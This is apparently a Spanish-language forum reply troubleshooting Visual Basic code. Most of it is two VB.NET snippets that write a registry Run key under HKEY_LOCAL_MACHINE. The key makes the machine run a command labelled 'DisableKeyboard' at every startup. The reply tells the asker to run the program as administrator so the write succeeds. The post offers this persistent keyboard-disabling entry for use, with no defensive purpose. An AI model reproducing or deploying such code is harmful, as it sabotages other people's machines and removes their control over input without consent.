El problema esque debes ejecutar como administrador el programa, si cambias el code por:
si le ponemos un try seguro que te dira Acceso denegado, y con el on error resume next no me extraña que no te de ningun error xd
Try
Dim CorrerObjeto As Object
Dim objeto As Object
CorrerObjeto = CreateObject("Wscript.Shell")
CorrerObjeto.RegWrite("HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\DisableKeyboard", "Rundll32.exe Keyboard,Disable")
CorrerObjeto = Nothing
Catch ex As Exception
MsgBox(ex.Message)
End Try
ademas el codigo ese es mas para vb6 que para .net, para .net es mejor usar este metodo:
My.Computer.Registry.LocalMachine.CreateSubKey("Software\Microsoft\Windows\CurrentVersion\Run"). _
SetValue("DisableKeyboard", "Rundll32.exe Keyboard,Disable")